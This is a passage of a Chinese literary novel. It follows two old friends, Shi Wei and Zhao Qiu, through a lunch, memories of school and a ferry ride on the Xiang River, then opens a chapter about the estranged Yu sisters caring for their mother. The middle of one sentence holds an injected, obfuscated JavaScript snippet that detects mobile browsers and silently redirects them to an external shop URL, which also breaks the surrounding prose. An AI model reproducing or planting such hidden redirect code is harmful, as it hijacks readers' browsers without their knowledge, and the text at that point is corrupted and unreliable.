赵秋惊了一下,笑起来:“诶呀,这久远的事了你还记得!我妈说白露天要吃柿子,那天给了我一个,我就带给你了。今天的柿子纯属巧合,我都忘了这事呢。对了,你说门外那棵不结果的柿子树,怎么回事来着?” 石唯努力憋笑,平复情绪后说道:“去年柿子树结满了果子,我一个人在这边,爸妈也不常来,除了给邻居肖纶家妈妈拿一些,剩下的我也没吃。树上的果子引来了一群小鸟,灰喜鹊最多,把果子啄烂了不少,有些掉下来,惹来无数苍蝇,我天天都要打扫。” “这也不好笑呀?人不吃么,留给小鸟吃挺好,说不定还能留些果子给它们过冬呢!”赵秋夹了块鳝鱼片,不解地看着石唯。 石唯回道:“我也是这样想的。平时村子里有人路过,摘一两个柿子走的也有,结果有天我出门刚回来,碰到两个人提着装油漆的大铁桶和加长竹竿的小捞网,把树上柿子一网打尽。” 赵秋都不知道说什么了:“哇,这么不把自己当外人啊!这不就是偷嘛!” “那两人见我回来,先寒暄一下,还把我名字叫错了。我本来想发火的,结果其中一人说‘这柿子没人吃,都便宜雀子啦!烂在树上还招苍蝇,多不好。我们也就是摘两个吃吃,多谢啊!再说,我不比雀子和苍蝇强一些啊?给雀子吃不如让我吃’。我当时觉得好笑,一句话都不想说,反正我也不吃,就不和他们计较了。”石唯无奈地笑笑。 赵秋也笑起来:“什么人啊,比雀子和苍蝇强一些?搞笑嘛!然后呢?因为去年果子被摘光了,今年就不结啦?” “邻居们是这样猜的,但不是这样的。我们家柿子树比村子里其他家早开花半个月,那时候突然变天,夜里刮了一场特别大的风,把柿子花全吹没了。其他家的柿子树还没开花,就躲过了这场‘妖风’,所以今年就我们家没柿子。” 赵秋沉默了一会儿,说道:“小唯,我想你还是装个监控吧。倒不是怕人家摘花摘果,你一个人住在村子里,还是注意安全。” 石唯点点头:“嗯,我是打算装的。不过,我要告诉你一件事,我小兴路的房子卖掉了,回来的第二天卖掉的。那边屋子里的旧家电,大多留给了那户买家——那是一家三口,因为小孩要在附近上学才买的房。我这次出去学习,课程结束后,刚好有个之前的同事联系我,她给我介绍了一份工作,我考虑去那边试一下,中秋后就走。” 赵秋回道:“那就不到一个月就要走啦?嗯,蛮好的,为你感到高兴!按你自己节奏来,换个环境,或许会有不一样的事业机会和生活想法。你回来随时联系我,要是不想待在你父母家或者渡口村,随时可以去我十一中那边的房子住,我那边不再对外出租了。” “谢谢你!”石唯低下头。 赵秋轻轻推了下她:“诶呀,是好事情、好转变、新的开始,是要庆祝的事啊!”说着又给石唯夹了块鸡翅,“我应该带排骨过来的,下次我烧饭给你吃,烧糖醋排骨。今天你烧的都是我爱吃的菜。” 吃完午饭,石唯在厨房洗碗,赵秋在饭厅擦桌子;忙完后,两人回到房间休息。赵秋靠在书桌前的躺椅上,石唯在书架那边整理文件。 天井里亚克力遮雨棚上传来小鸟跺脚的声音,赵秋闭目,很惬意,轻轻笑道:“小唯,今年灰喜鹊还是没放过你啊。” “哈哈,是啊。最近隔壁肖纶的妈妈在后院收割了芝麻,它们经常来找芝麻粒吃,可能顺便来玩一会儿,‘抗议’我们家今年柿子没了。这样挺好的,我蛮喜欢它们蹦蹦跳跳的声音,感觉它们很愉快,多少能传染我一点快乐。”石唯回头笑看赵秋一眼,继续在书柜里翻找着。 赵秋说道:“嗯,它们好慷慨。蛮好的!我也喜欢它们踩踩跳跳的声音。”说着像想起什么一样,又问道,“陈齐结婚那天,就是上上个周六,我去了。我看他是找你有事,他后来联系你了吗?” 石唯转身拉了把椅子坐下:“找了,我把房子的事处理好后,就去他那边了。他新接的订单是三年前旧款,做出来色差很大,客户那边不认。我去和接手我工作的同事沟通了一下,改了配比表,把之前的配比表又重新整理了一份。” “我就知道你会帮他。大齐真的是……还想我传话来着,我给他传个鬼哦!”赵秋都不想提起陈齐,影响自己的表情,不想因为他让自己的面部不平整。 周二那天,石唯去陈齐那边帮忙。熟悉的园区里,公司门口一片片百日草和金盏菊开得正好,她从没想过还会再过来。石唯在仓库和接手她工作的同事小文讨论了材料问题,又去隔壁操作间指导兼职阿姨们制作;等把这次订单的配比表调整好,已经是下午了。只剩她一个人在仓库,她坐在样品架下的椅子上,想休息一会儿。这时陈齐提着外卖进来了,见石唯抬头,忙说道:“给你带了奶茶和小食,先垫一下肚子吧。今天辛苦你了,晚上一起吃饭。” “多谢你,晚饭就不用了。”石唯接过袋子,拆开,并不看陈齐。 陈齐说道:“二鸟,我也和火火也说过了,其实我结婚没请你,没有别的意思。我知道你不会来的,礼金也会给,但我们毕竟是老同学、老朋友,我希望你不要有什么想法,我没有不好的意思。” 石唯像看怪兽一样看着陈齐:“你不要再喊我和赵秋的外号了,而且你起的外号很没水准!念书时你给每个同学起外号,大家不是不介意,只是不和你计较;现在都三十多了,喊大名吧!还有,我根本不会介意你结婚请不请我——这不是值得我思考的事,我有我的生活要过。” 一位阿姨进来打扫卫生,陈齐客气地对阿姨讲过一会儿再过来。见石唯多看了两眼阿姨,他在阿姨走后说道:“曹阿姨是小纪的姨妈。小纪怀孕了,她妈妈和姨妈在老家也没有什么事做,就让她妈妈过来照顾她,姨妈就安排到我这边帮忙了。之前的胡阿姨,去了她儿子律所做保洁。” “蛮好的,你结婚了,马上要做爸爸了,也不用‘解决’你老头子(爸爸)了,没有人会烦你了。恭喜你。”石唯眼神很空地看了陈齐一眼。 陈齐有点尴尬,说道:“你不要这样说。唉,老头子他前些日子硬是要来这边看小纪,坐在我办公室椅子上也不老实,一直转啊转,结果转得重心不稳摔下来,头和腿摔了个大的,现在还在恢复期,要靠轮椅天天推出去逛呢!你就不要讽刺我了……算了,石唯,无论如何,我还是很感谢你这次愿意过来帮我。如果你愿意,随时欢迎你回来工作。” 石唯不想再继续说这些无用的话,把小食盒打包起来,说道:“改好的配比表我都发小文邮箱了,我这边的邮箱已经注销了,你让小文转发给你吧。还有很多之前交接的文件,我重新整理了一份,以后你再遇到旧款订单,绝对不会需要我的,小文完全可以解决。没什么事我先走了。” 陈齐点头应着,又说:“今天你帮忙我会给你薪水的,晚上算给你。石唯,我是真心感谢你这次能过来帮忙,这是真心话,你愿意回来随时都可以回来。” 石唯冷淡地说:“废话,我今天来帮忙,你当然要给我钱——我的劳动和时间不作数啊?‘随时回来工作’这种场面话就不要说了,以我们互相了解的程度,你明知道这不可能。难道你要像找个由头辞掉胡阿姨一样,再把小文辞掉?别说没必要的话了啊。” 陈齐顿了一下,苦笑道:“石唯,你现在说话,像火……像赵秋一样。” “陈齐,我这次来帮忙,你不需要说一堆感谢的套话。还有,说我就说我,别牵扯其他人。我这次过来,是因为我记得:你因为你妈妈的事,非常反感求神拜佛这一套,就算现在做了生意也不信这些,从来不像其他人一样拜财神;但我大三精神状态不好时,收到你寄来的护身符,我知道你给全班很多同学都寄了,我相信当初你是很真诚的希望同学们都顺利、平安,现在我依然很感谢你做的这件事。大家可能想法不一样了,也不适合做朋友了,但我真心祝你家庭幸福、生意兴隆,能有美满的世俗生活!”石唯认真地说完,提起塑料袋离开了。 赵秋从躺椅上撑着身子起来,看到石唯桌上的那堆绘本,顺手翻了翻,有《绿老鼠大闹大饭店》、《鼠小弟的背心》、《古力和古拉的海水浴》…… “唯,你的绘本还没送出去吗?怎么又多了几本?”赵秋不解地问道,她想起上次过来这边石唯提起要把绘本送给初中同学的女儿,“还有,这些绘本怎么都是小鼠主角?上次那本《玛格丽特的喷泉》也是。” 石唯从书架那边走了过来,找了个带蝴蝶结的硬纸袋把绘本收起来,说道:“你不说我差点忘了打包。上次小兰带小孩过来,那些绘本已经给她宝宝了,我们还一起在外面吃了饭。结果我回来发现,小兰的宝宝把一个玩具手表落我这儿了,我出去快一个月,也没空送过去。这些是这次去外地碰到童书展买的。”石唯接着走到书桌旁的小工作台,把家用小缝纫机旁的一个可爱小牛拼布包和两块绣着小牛图案的手帕收起来,和绘本放在一起,继续说:“我打算这两天就给小兰送过去,把玩具手表、新绘本和小手帕一起带给她宝宝。” 赵秋想起高中毕业时,石唯送过她一块绣着可爱小狗的手帕。那时她逗石唯,说要雪纳瑞图案的,石唯顺着她的话说“太困难了,实在不行绣‘雪纳瑞’三个字好了,再不行就再加个‘狗’字”,两人打打闹闹了好一会儿。 赵秋问石唯:“小兰的宝宝属牛?” “嗯,是的。上个月刚过四岁生日。” 沉默了一会儿,赵秋还是抬起头问了石唯:“小老鼠的绘本,还有之前你用了那个小狗和小鼠形状的硅胶六连模具做了蛋糕!” 石唯愣了一下,苦笑道:“你直说嘛,说出你的推测。” “婷婷舅舅……”赵秋瞪大眼睛。 石唯点点头:“或许你适合当侦探,或许你破案剧看多了。” 赵秋重新躺下,说道:“我知道他比咱们小,没想到……真是的,以前念书还是不严格,我们那时候有‘猴’‘狗’‘猪’一届的,没想到还有‘鼠’混进来了,真是的……” “真是什么?真是孽缘?已经过去的事情,就过去了,不存在什么‘要是当初没怎样,就不会怎样’。其实我也没想到,我一直以为他是‘猪’。”石唯摇头。 “哼,他做的事,是挺猪的!”赵秋突然想到什么,又问道,“难怪你家有这么多小猪摆件,你真是的……对了,他没有再给你发邮件吧?” “没有了。倒是他妈妈打过一次座机进来,我愣了——我外公家这个座机号码升号后二十年没变,我想她可能是实在找不到我的电话号码,从他毕业照后面的资料单上找到了的这个宅电。”石唯别过头去看窗外,“她在电话里骂了我一顿,说‘我们家小鱼的生活被你这种人毁了’‘你根本不能体会一个母亲的心情’之类的。不过也就这一次,之后没再拨过来了。不说他了……” 赵秋惊了一下:“都是些什么事啊!他妈……以前大齐总喊你‘二鸟’,十几年前的恋爱是那个什么‘白鲢’,鬼晓得后面还有这个什么‘小鱼’,鱼就不该纠缠鸟,还怪罪鸟。天空里的生物和水里的生物,从根子上就不适合,真是的!” 石唯笑着说“都过去了”,她跑到书架旁,抽出一个牛皮纸袋,把里面的绘本拿出来,对着赵秋晃了晃,说:“秋,我给你也带了一本,你回去的时候和伴手礼一起带走。”说着把绘本递给赵秋。 赵秋接过来,红色的绘本封面上有一棵装饰得很可爱的圣诞树,是北岸由美的作品もうすぐクリスマス(马上就要圣诞节了)。 “好可爱,谢谢你!”赵秋笑得像个小孩子。 “我们高三那年的圣诞节,同学们都互送苹果,那天晚上你给了我一包彩虹糖。我说要是有真的圣诞树就好了,结果下了晚自习你拉着我去学校操场那边的一排水杉树说‘看吧!’。哈哈哈,那时候真好玩,学习再累,但还是像个小孩子一样,容易突然又充满活力。”石唯雀跃地看着赵秋笑。 赵秋轻轻推了石唯:“哎呀,水杉树和圣诞树没什么差别吧?多好看啊!那时候你爱吃甜食,说希望以后可以开点心店。” “嗯,开在你的书店楼上的点心店。”石唯无奈地点点头。 赵秋一下子又瘫在躺椅上:“一眨眼十几年过去了。我们念高中时,总是周末去江边走,听说轮渡是在雾桥那一块,但也没见过有桥,我一直觉得‘雾桥’这个名字好美,还说以后要在江边开一间书店。那时你喜欢听《Smoke Gets In Your Eyes》,我说那我的书店就叫‘烟雾书店’,你说有点奇怪,我想我总看探案剧么,那就叫‘迷雾书店’好了——反正不管怎样,一定要有‘雾’字。现在哪里还有实体书店啊,全市也没几家了吧?谁知道事物和生活会怎么发展?不过说起雾桥,它到底是江边哪里呢?” “这样看,我倒像一直在迷雾中,没有绕出来过。”石唯转身去书架,在顶层抽出一本县志,慢慢翻找;找到那一页停下来,她把书拿过去指给赵秋看。 赵秋仔细看着书页里的内容,不可置信地抬头看着石唯,说道:“好多自己的眼睛?” 石唯两边嘴角向下撇,左边脸都挤出一个酒窝了,点点头:“是呢,我第一次看到时,也不知道该说什么。” 县志上描述着:清代,襄江边某处,水啮岸坼。若有失意的人于夜间来到江边,万念俱灰,想要一了百了,襄江不忍纳孤寂人的苦泪,这时江面会有泛出的蚌白灰色的光,混着幽红的光,连远处的竹林都被照得似乎清晰可见,竹叶抖动像在垂泪。光会渐渐靠向人来,化作无数双眼睛,搭成一道拱桥。你在桥下看着它们,却发现这是自己的眼睛——每一双都是。它们平静地看着你,让你暂时忘记悲痛,也来不及恐惧。它们只是这样看着你,不问你,也不等你回答,你会问自己。在它们存在的时间,在你和它们一起存在的时间,踏上这道桥,走过去,你的无数双眼睛便像墨色的雾般散去。它们眨眼间,你冷醒过来,已是清晨,江面平静,周身草地只剩雾气悄然离去后的露水,远处没有红天光,也没有灰色的云,你只记得无数双看向自己的眼睛——你的眼睛。 “那雾桥是在哪里?”赵秋反复翻了这页前后的内容,抿着嘴抬头看石唯。 石唯回道:“我听我外公说,在以前渡口码头那一块,就是去江对岸的那个码头。现在那一大块区域,大家还是叫雾桥。外公还说,他听到的县志版本是,过了桥的人呢,第二天清晨醒过来,手里会有颗莲子,能吃,和新鲜莲子的味道一个样;没过桥的人,应该也没法说他的故事了。另外,那个江面红光,传说是什么蚌珠镜子发出来的。好几百年前,说是有个庙修在江边,里面有件法器是蚌珠镜,能明明白白照清楚人的五脏六腑,尤其是心。而且,江面出现这种红光的第二年,往往是丰收年。不过我想,这就当志怪故事看吧,这个故事挺慈悲的。” “还真是很慈悲的故事。”赵秋认真地看着石唯,道说,“石唯,我想,等命运对自己慈悲之前,人要先自己对自己慈悲。人终究还是要靠自己成全的,也只能自己成全自己……” 石唯不敢看赵秋的眼睛。成全自己?是吗?逃到哪里去呢?逃得过空间和时间,逃得了自己吗? 赵秋叹了口气,起身拿起圣诞节绘本,说道:“老渡口还在吧?我记得前两年还能渡江。” “在的。” “我现在回去吧,开车走襄江路。我想如果你……” 石唯回过身看着赵秋,说道:“秋,我想去渡口那边转转。” 赵秋笑起来,连点两下头,说:“好!我们去江边,我陪你!” 石唯放下书,去隔壁饭厅提起给赵秋准备的礼盒;赵秋带上房门,在天井长廊提醒石唯记得拿好家里钥匙,两人一同出门。赵秋的车停在石唯外公家门前小花圃前铺的石子地上——门前两侧各有一片小花蒲,一边铺满细碎的石子,一边是草坪。多年前过来时,她曾拿着石唯的长柄草坪剪玩了一会儿,直嫌累,实在想不通石唯怎么耐得性折腾这一大片草地;后来石唯买了小型割草机,修剪起来轻便了不少。这几次过来没留意,赵秋突然发现当年草坪边的那棵小铁树,如今好大了,很漂亮。是啊,石唯前几年提过家里十几年的铁树开了平绒布质感的花,像莲花一样美。赵秋车前花圃里的红色达芬奇月季,开得鲜艳得像塑料花,她突然很难过,想起天井里那盆常春藤也长得很好,绿得油腻腻的,像假的一样;石唯房间里那个小猪花瓶里,插的还是仿真白桔梗。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988392|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气,又发觉自己很滑稽——念书时她就常对石唯说“不要叹气啊,我妈说会把运气叹掉的”,可现在自己时不时就叹气。算了,叹气又怎样?谁过日子还不叹气吗?如果吸气能吸来运气,那都抢着吸几大桶好了。叹气?吸气?随便吧,想怎么呼吸就怎么呼吸。 石唯锁好门过来,两人上车。 车里放着歌,赵秋跟着轻哼;哼着哼着,她突然停下来,对石唯说:“你把他送你的仿真花丢掉吧,太塑料了,你肯定不喜欢。小猪瓶子你喜欢就留着,反正只是个物品。你就当我多事好了,反正家里放假花不吉利。” 石唯疑惑地看了赵秋一眼,马上反应过来,抿着嘴笑起来。 “笑屁啦!”赵秋无奈地说。 “你几时这么迷信了?” “迷信还不是你带的!算了,不开玩笑了,我是正经同你讲,你晓得我讲这个不是在讲迷信。”赵秋专心开着车。 石唯点点头:“我晓得啊,谁对我的好,我怎么会不晓得。你放心,真的都过去了。” 赵秋继续说:“其实我很担心你像七年前一样,又对生活没有一点点的意愿了。我知道你和谁、和什么事情断了,就是断得干干净净;我又怕你在你告诉自己的故事里打转太久,转不出来。” 车上的电台里的歌放了好几首,这期是一位歌手的专题节目。海妖般魅惑美好的歌声,并不能让人放松,至少没能让石唯轻松一点。 “男共女情共爱 一切亦属正常 谁是对谁是错 寻觅答案抽象 能共进难共退 恨现实这样 只可笑假的恋爱 你会更欣赏 ……” 石唯沉默了一会儿,回道:“嗯,我会过好自己的生活的,你放心。” “不过,话说,那条‘鱼’送你仿真花就算了,他居然送的还是白桔梗。他但凡送仿真栀子花,我都不多说什么了。”赵秋厌弃地看着前方。 看着赵秋的样子,石唯不禁温柔地笑出来。 “笑屁啦!”赵秋佯装皱眉,也笑起来。 “我不笑了,你好好开车。”石唯把头别到一边,捂着嘴憋笑,可憋着憋着,却又努力压住抽泣的声音。 在江滩前闸口附近的停车场停好车,赵秋和石唯下来,向老渡口码头那边走去。 两人一路无言,赵秋挽住石唯的手,捏了两下她的胳膊;石唯侧过脸看了赵秋,勉强笑了笑,又看向江面更远处。 轮渡票价还是一人一元,多年没有变过。船上没什么人,看样子是几位对岸卖菜返程的老人,还有几对去对岸沙滩烧烤的年轻人。两个在船上蹦蹦跳跳的小孩子被他们的父母轻声制止;父母亲把孩子抱起来,指着江边让孩子们看牛背鹭,还有那座跨江的大桥。 江风吹起了赵秋的几缕头发,石唯从贴身布袋里拿出一个浅色发圈递给她。 赵秋穿了春天去夏口出差时买的那件水蓝色的高领半袖针织衫,身上的薄亚麻外套和裤子,是石唯七年前在渡口村不出门、沉迷缝纫时给她做的。她头朝后仰,双手拢好头发扎起来,靠在石唯身上,静静地听着江水声和风声。风动,石唯的那条淡蓝色刺绣裙子也扑腾着,裙面的蓝、红、绿三色细线条绣出的各式波浪线和折线,看得赵秋眼花又恍惚——她像被这些线扯动了记忆的点,再连起来,绞成彩色的锁链。 “小唯,我最近好像恢复了我妈希望的‘正常’生活。你知道的,我搬回鹊桥路了,和杜雨相处得很好,他改变了不少,我也在尝试着让自己更放松一些。”赵秋闭着眼睛,平静地说着。 石唯微驼了下背,调整姿势,让赵秋靠得更舒服些;她握住赵秋挽着自己的手,说道:“只要你觉得快乐、幸福,是你想过的生活,就很好。你们愿意共同面对,有话说,还有爱,这是好事情。” “我在争取重回业务部门,几年前调到西南区的领导问我愿不愿意过去帮她。很多人因为家庭原因不想有变动,但我了解了那边的业务后,还挺想去的。我已经提交申请了,之后告诉杜雨,他犹豫了一会儿,还是表示理解我,说如果异地,他就每个月过去我那边。刚刚恢复的‘正常’生活,好像又被我打破了;不过这一次,我不在意我妈说什么了,我知道她是担心我,希望我过稳定的、没有风险和困难的生活,但我是真的很想去试试看。你好些年前去顺元出差,说西南那边好美,给我寄了明信片说顺元的美食不输蜀地,就是总下雨,雨说来就来。没想到如果一切顺利,我接下来就要去那边工作一年了。”赵秋睁开眼睛,坐直身子,也往江面更远处望去。 “顺元蛮好的,我喜欢逛那边的菜市场,很有生活气;那边的食物我太爱了,那时候是夏天,那是我人生中唯一一个不需要空调的夏天,好清爽,环境太好了。大数据中心在那边,挺不错的,对你的职业发展应该也有好处。杜雨假期多一些,每月去你那边一次也方便。边走边看吧,看你去那边后续的进展和变化,现在决定了,那就去做吧。”石唯看着赵秋,握紧她的手。 赵秋笑起来,说道:“要是以前,我怎么能想到我会申请调去外地,何况我还结了婚。结果过日子,每天千变万化。对了,萱萱考了资格证书,现在在厂子里转了财务岗,她最近学习劲头挺大了,也开始了自考课程的学习,我大姑妈也高兴,可以少操点心了。上次娘家那边亲戚一起吃饭,萱萱要我帮她转达对你的感谢,说当初帮她找工作,你费心了。” 石唯笑得眼睛都亮起来,说道:“太好了,真是替萱萱高兴!她哪里用得着谢我,是她自己努力,也是你这个姐姐一直替她考虑、费心。萱萱会越过越好的,真好啊!你大姑妈这些年太不容易了,萱萱也是受了不少苦,能听到她的好消息,真是太好了!” 看着石唯被江风吹得呼啦啦响的裙子,赵秋沉默了一会儿说道:“你还记得我另一个表妹芸芸吗?” “我记得的,你结婚前,她死活不肯和萱萱一起当伴娘,说萱萱做伴娘她就不做来着。她好像不太喜欢萱萱。”石唯回道。 赵秋无奈地说道:“是啊,这孩子脑子挺聪明的,就是嘴巴太……她是因为萱萱过往的经历看不上萱萱,说什么‘人蠢就会踩雷’‘萱萱这一生算是完了’,也不考虑一下自己和萱萱从小的生活成长环境的差别。其实我不觉得萱萱比谁差,也不认为芸芸就比萱萱有智慧,只是很多人比萱萱更幸运罢了。前段时间娘家亲戚吃饭,第一天便饭芸芸没去,她遇到了些麻烦。” “嗯?” “我年初去夏口出差,芸芸请我吃饭,说是快订婚了。她后来是顺利订婚了,未婚夫看上去人还不错,本来计划十月一日结婚的。我之前听家里说,那个男孩在大马工作过几年,是做IT的,对芸芸很大方。结果前不久,芸芸才知道,那男孩前几年的确是在那边做技术,但却是电诈公司做技术的!他的护照早就被收了。这婚事也就黄了。”赵秋看着石唯说道。 “这……”石唯说不出话来。 赵秋接着说道:“本来大家有点担心她,结果第二天吃饭正席,她过来了。她大大方方和所有人打招呼,还主动说起了这事,说自己太年轻,眼光不好,加上对方人太坏了,为婚事变化给各位亲戚带来不便道歉。之后她主动给大家敬酒,让各位长辈有好的男孩,帮她留意下。” “芸芸蛮坚强的,她这样积极的态度,肯定能很快走出来。不过遇到这种事,心里多少会难过的吧。”石唯有点发愣。 赵秋浅笑道:“是啊,谁都不想遇到这种事。她跟我说,她觉得没什么大不了,自己的人生不能被对方拖累,她相信自己能过得很好,因为她认为她配。不过,她对萱萱的态度好了很多,虽然还是多少有点觉得萱萱比不上自己的优越感,但也没了之前明晃晃的鄙夷态度。这次事情过后,她也许能理解我以前为什么会在她每次贬低萱萱‘人生都完了’‘就是人蠢才会这样’时批评她。不过她不理解也没关系,我相信她怎样都会过得很好——她知道自己要什么,也相信自己。我们家里人都希望她过得好,也希望萱萱能过得好。” “你也要过得好,过自己想要的日子。”石唯接着说道。 赵秋捏了下石唯的手,说道:“你不也一样,也要好好过。这次出去,要好好照顾自己,天冷就回来。” “待会回来,要再去杜梨树那边看看吗?”赵秋轻声道。 “不去了,季节不对。季节不对,时机就不对,去了也不是心里的景。”石唯侧头,看着船边的水流,被船划破、划过,就这样又无波无痕,像船不曾来过。 “嗯,不去!不对就不对,季节过了就过了,明年又是一春,又有满树梨花。”赵秋挽紧石唯的胳膊。 两人上次一起坐轮渡,还是高中时。那时石唯还是野草般的短发,那天她难得穿了长裙子,赵秋见了,忍不住大笑,打趣她:“你今天怕不是被雷劈了吧!”石唯听了,作势要打她;赵秋边跑边笑着喊:“小唯,你可把你那串钥匙摘了吧!你这是和我去江对岸收水电费吗?谁天天把钥匙挂脖子上啊!” 想到这些往事,赵秋扑哧笑出声来。石唯问她笑什么,赵秋摇摇头,把头靠在石唯身上,贴得更近了些。 两人一同看着对岸,轮渡,要到码头了。 25. 游萍归舟 梁挥在阳台晾衣服和床单。同母亲一起照顾尕尕(外婆)这段时间,他对母亲比以前更耐心。他本就是温和的人,从小到大也没怎么发过脾气。 俞兆萍最讨厌儿子这一点,想不通儿子是怎么回事,怎么就那么闷呢?她想,他是有怨和累的。他是个普通人,也只是个外孙子,照顾外婆这种事,哪有人能一点都不抱怨?倒显得做女儿的自己急躁起来,自言自语咒念,是多么不孝一样。咒念什么?咒念谁?不是自己厌自己么? 这些日子看着儿子,俞兆萍心里总有一股无名火。她知道,儿子放下工作来照顾外婆是心疼她不容易;她想,儿子也算事业有成,能有这份良心来照顾外婆,她应该知足。看护不易,又有几个人能做到这一点?可她心里就是好恨!凭什么要被这个娘家、这个姆妈困住?困住自己,还要困住自己的儿子?凭什么是梁挥?就因为他在家里?大姐的儿子大鱼也是姆妈的外孙子,他不在家里,不能出人,总能出钱吧?电话都没有一个,兴许大姐都没有同他讲过。俞兆萍想到大姐更气了,这次该她把姆妈接回复州照顾,已经晚了好几天没来,也没发个消息。又想到大姐的儿子大鱼应该一年也不会主动联系大姐几次,她对大姐生出一股子同情,这日子过得不可悲么?还好,还好梁挥在自己身边,孩子是贴心的小鱼,自己应该知足的吧? 俞兆萍想起小妹丹芳考上外地的中专那年,父亲依小妹,从乡下亲戚处抱了条小花狗来。俞兆萍忘不了小妹那欢天喜地的样子,小妹考学是高兴事、大喜事,给她的也就是一条狗,偏偏这事刺得俞兆萍手脚发麻,她给了小妹好几天脸色看。小妹找大姐诉苦,说受不了二姐没由来的脾气。没过几天,俞鸿雁去中学同学家牵了只小白狗过来,送给俞兆萍。新来的小狗毛色纯白,不带杂毛,舌头红红,体型偏大了,是大姐同学家那一窝被挑剩下的——人家送不出去没办法,养了好一段时间了。小白狗不太活泼,很安静,本以为它会比小妹的那只闹腾的花狗受管教,结果这种不声不响、不搞破坏的狗反而更犟,犟得很安静。 俞兆萍笑话小妹给花狗起的名字叫“小花”,难道白狗就叫“小白”、黑狗就叫“小黑”吗?她自己用心给白狗起的名字是“雪梅”。俞母笑起来说道:“兆萍,你当初是腊月生的,我说就叫‘腊梅’好了,但你爸同事的小孩,还有老屋的亲戚家,好几个叫‘腊梅’的,就没叫成。你爸想都没想就说,叫‘兆萍’好了。” 俞兆萍愈发看小白狗不顺眼了,它看上去乖,却不怎么受控制,比不上小妹的小花狗动着跳着讨人欢心。自己的名字又是怎么回事?大姐是“鸿鹄之志”的寄托,小妹是丹艳芬芳的花朵,自己这浮萍杂草算什么?还有大姐,她牵了狗回来送自己是什么意思?这么样当好人,就该知道我的心事,那当初爸抱狗给小妹,怎么不去多说两句?明明全家都知道我喜欢狗,她俞鸿雁现在嫌我脸色不好、碍事了、扫兴了?牵了个别人家不要的狗来敷衍人? 俞兆萍和梁挥一起照顾老母亲这段日子,总想起那条白狗,她觉得儿子就像那条白狗。梁挥照顾他尕尕耐心、仔细,对俞兆萍也很客气、体贴,可俞兆萍总觉得儿子是固执的、不受控的。他本不应该被困在照护尕尕的劳动里,自己的家庭不应该被母亲偏瘫影响。俞兆萍中秋节前终于等到了梁烈的电话,他只是随口问了一句梁挥外婆的情况,都不多问一句儿子;接着说自己还是打算在南方多待一些时间疗养,中秋节不回家,等到过年再说。 梁挥刚晾完衣服走到客厅沙发那边,门铃响了。他过去开门,是姨妈。他喊了声“姨妈”,接过她手中的水果和肉菜袋子,放好拖鞋给她,招呼她进门,转头向外婆房间里喊了一声:“妈,姨妈过来了。” 俞鸿雁换好拖鞋进门,走到母亲房间门口,轻敲了两下开着的门,直接进去了。俞兆萍并不看大姐,淡淡说了声:“姆妈睡了。” “不好意思,我这次晚了,我有事……” 俞兆萍坐在母亲旁边的椅子上,继续刷着手机。她把滑到鼻头的老花镜往鼻梁上推了下,打断大姐,说道:“以后不要晚了,不要看有小鱼帮忙,就以为我们有多清爽。是你的任务,你是逃不脱的。有事应该提前说,我不想和你多拉扯,就不多说了。你先收拾东西,等过会儿姆妈醒了,让小鱼把你们送到复州去。”没等俞鸿雁继续说,她又道:“我算够对得起你,对得起姆妈了,把儿子都搭进来了!哪次不是他开车把姆妈往你那边送?算了,你也这么大年纪了,不会开车,我就不和你计较了。但就算我儿是自愿的,又啷样哩?凭什么要我屋里一家被捆住、被困死?别人家中秋节一家团圆,我屋里一屋病气,忙得打滚。” 俞鸿雁忍住了,说道:“对不起,这次是我不好,没有提前和你说好,来晚了。你先别打断我说话——我是有事,今天我也不是来接姆妈的,还要缓两天,但这事得和你当面说,所以我过来了。” 俞兆萍拧着眉目抬头,不耐烦地回道:“你有么事啊?你的事是事,小鱼的事就不是事啊?我儿子欠你的?他这几个月去过公司几天?他个人生活,不比你的事算事啊?” “小妹今天晚上九点的动车到南站。”俞鸿雁直直地看着俞兆萍,小声说道,“我跟她说了姆妈的情况,我们商量先到复州老屋见面,过两天再接姆妈去我那边,让她见下姆妈。你要是愿意见丹芳,到时候她过来见你一面——反正她觉得是她对不起你;你不愿意,那就再说,我尊重你们自己的意愿。她也有她的事,这次不会停留太久。” 俞兆萍眼皮垂下来,嘴巴微张又闭上。她紧握着手机,手上的皮肤像旧烟盒里被捏皱的锡纸。沉默,还是沉默。俞鸿雁看了眼床上闭着眼、呼吸平缓的母亲后,又朝房门口神色不安的梁挥点了点头,准备离开。她刚转身,妹妹说话了。 俞兆萍微驼着背,望向窗外,捏着手机的手微微抖动。她想,自己算什么呢?像书房里放着的那个梁挥小时候玩的提线木偶皮诺曹。她告诉自己不能哭——她能用线把木偶的头和鼻子绞住,她不能哭。 “大姐,我……我不是这屋里的人吧?也是,我早就晓得我不是这屋里的人了,还争什么呢?我真傻。”俞兆萍长叹一口气后,继续说道,“姐姐,你的心好偏,你们俞家人的心都偏。你就当我疯邪了吧!你明晓得我在意的是什么。难道不是她俞丹芳对不起我、对不起这屋里吗?” “兆萍……” 俞兆萍打断大姐的话:“姐姐,你不兴说了!她回来是什么不能和我说的事吗?你们怎么能……我就是这样心枯的人吗?我就……你们从一开始就把我推开了!姐姐,你从来都这样看不上我吗?” “兆萍,对不起。”俞鸿雁像脱了水的烂萝卜叶子,“我是怕你多想,这些事我做得不周到的地方,你……我晓得你心里苦。老头子在世时心里苦,现在姆妈心里也苦,我心里苦,你心里苦,小妹在外面也苦。”她已经没有一点心力再和二妹多说一句话。 